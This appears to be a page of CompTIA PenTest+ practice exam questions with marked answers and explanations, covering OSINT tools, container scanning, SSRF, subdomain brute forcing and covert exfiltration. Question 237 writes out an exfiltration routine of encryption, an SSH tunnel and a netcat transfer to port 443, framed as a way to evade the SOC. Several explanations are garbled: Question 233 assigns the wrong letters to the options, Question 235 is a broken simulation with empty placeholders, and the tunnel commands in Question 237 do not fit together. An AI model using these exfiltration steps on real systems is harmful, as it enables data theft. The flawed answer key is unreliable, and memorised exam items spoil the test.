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## CompTIA PenTest+ Exam Sample Questions (Q233-Q238):

### NEW QUESTION # 233

During a penetration test, a junior tester uses Hunter.io for an assessment and plans to review the information that will be collected. Which of the following describes the information the junior tester will receive from the Hunter.io tool?

- A. Data breach information about the organization that could be used for additional enumeration
- B. Information from the target's main web page that collects usernames, metadata, and possible data exposures
- **C. A collection of email addresses for the target domain that is available on multiple sources on the internet**
- D. DNS records for the target domain and subdomains that could be used to increase the external attack surface

**Answer: C**

Explanation:

Hunter.io is a tool used for finding professional email addresses associated with a domain. Here's what it provides:

Functionality of Hunter.io:

Email Address Collection: Gathers email addresses associated with a target domain from various sources across the internet.

Verification: Validates the email addresses to ensure they are deliverable.

Sources: Aggregates data from public sources, company websites, and other internet databases.

Comparison with Other Options:

DNS Records (B): Hunter.io does not focus on DNS records; tools like dig or nslookup are used for DNS information.

Data Breach Information (C): Services like Have I Been Pwned are used for data breach information.

Web Page Information (D): Tools like wget, curl, or specific web scraping tools are used for collecting detailed web page information.

Hunter.io is specifically designed to collect and validate email addresses for a given domain, making it the correct answer.

### NEW QUESTION # 234

A company recently moved its software development architecture from VMs to containers. The company has asked a penetration tester to determine if the new containers are configured correctly against a DDoS attack.

Which of the following should a tester perform first?

- A. Scan the containers for open ports.
- B. Determine if security tokens are easily available.
- C. Test the strength of the encryption settings.
- D. Perform a vulnerability check against the hypervisor.

**Answer: A**

Explanation:

The first step that a tester should perform to determine if the new containers are configured correctly against a DDoS attack is to scan the containers for open ports. Open ports are entry points for network communication and can expose services or applications that may be vulnerable to DDoS attacks. Scanning the containers for open ports can help the tester identify which services or applications are running on the containers, and which ones may need to be secured or disabled to prevent DDoS attacks. Scanning the containers for open ports can also help the tester discover any unauthorized or malicious services or applications that may have been installed on the containers by previous attackers or compromised containers. Scanning the containers for open ports can be done by using tools such as Nmap, which can perform network scanning and enumeration by sending packets to hosts and analyzing their responses. The other options are not the first steps that a tester should perform to determine if the new containers are configured correctly against a DDoS attack. Testing the strength of the encryption settings is not relevant to DDoS attacks, as encryption does not prevent or mitigate DDoS attacks, but rather protects data confidentiality and integrity. Determining if security tokens are easily available is not relevant to DDoS attacks, as security tokens are used for authentication and authorization, not for preventing or mitigating DDoS attacks. Performing a vulnerability check against the hypervisor is not relevant to DDoS attacks, as the hypervisor is not directly exposed to network traffic, but rather manages the virtual machines or containers that run on it.

### NEW QUESTION # 235

A penetration tester performs several Nmap scans against the web application for a client.

INSTRUCTIONS

Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

☐  
☐  
☐

**Answer:**

Explanation:

A screenshot of a computer Description automatically generated

☐ A screenshot of a computer screen Description automatically generated

☐ Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com

The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack.

Since the penetration tester has the pentester workstation interacting through the CDN

/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.

Two best remediation options:

- \* Restrict direct communications to App01.example.com to only approved components.
- \* Require an additional authentication header value between CDN.example.com and App01.example.com.
- \* Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
- \* Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.

Nmap Scan Observations:

- \* CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
- \* App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
- \* DB Server has all ports filtered, typical for a database server that should not be directly accessible.

These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.

### NEW QUESTION # 236

A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?

- A. `crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com`
- B. `nslookup mydomain.com » /path/to/results.txt`
- C. `dig @8.8.8.8 mydomain.com ANY » /path/to/results.txt`
- D. `cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com`

**Answer: D**

Explanation:

Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command `cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com` reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.

\* Command Breakdown:

\* `cat wordlist.txt`: Reads the contents of wordlist.txt, which contains a list of potential subdomains.

\* `xargs -n 1 -I 'X'`: Takes each line from wordlist.txt and passes it to dig one at a time.

\* `dig X.mydomain.com`: Performs a DNS lookup for each subdomain.

\* Why This is the Best Choice:

\* Efficiency: xargs efficiently processes each line from the wordlist and passes it to dig for DNS resolution.

\* Automation: Automates the enumeration of subdomains, making it a practical choice for large lists.

\* Benefits:

\* Automates the process of subdomain enumeration using a wordlist.

\* Efficiently handles a large number of subdomains.

\* References from Pentesting Literature:

\* Subdomain enumeration is a critical part of the reconnaissance phase in penetration testing. Tools like dig and techniques involving wordlists are commonly discussed in penetration testing guides.

\* HTB write-ups often detail the use of similar commands for efficient subdomain enumeration.

Step-by-Step ExplanationReferences:

\* Penetration Testing - A Hands-on Introduction to Hacking

\* HTB Official Writeups

### NEW QUESTION # 237

A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?

- A. Apply AES-256 to the data and send over a tunnel to TCP port 443.
- B. Apply Base64 to the data and send over a tunnel to TCP port 80.
- C. Apply 3DES to the data and send over a tunnel UDP port 53.
- D. Apply UTF-8 to the data and send over a tunnel to TCP port 25.

**Answer: A**

Explanation:

AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data.

Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.

Encrypting Data with AES-256:

Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.

Example encryption command using OpenSSL:

Step-by-Step Explanation `openssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey` Setting Up a Secure Tunnel:

Use a tool like OpenSSH to create a secure tunnel over TCP port 443.

Example command to set up a tunnel:

```
ssh -L 443:targetserver:443 user@intermediatehost
```

Transferring Data Over the Tunnel:

Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.

Example Netcat command to send data:

```
cat encrypted.bin | nc targetserver 443
```

Benefits of Using AES-256 and Port 443:

Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.

Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.

Real-World Example:

During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.

References from Pentesting Literature:

Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.

Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.

References:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

## NEW QUESTION # 238

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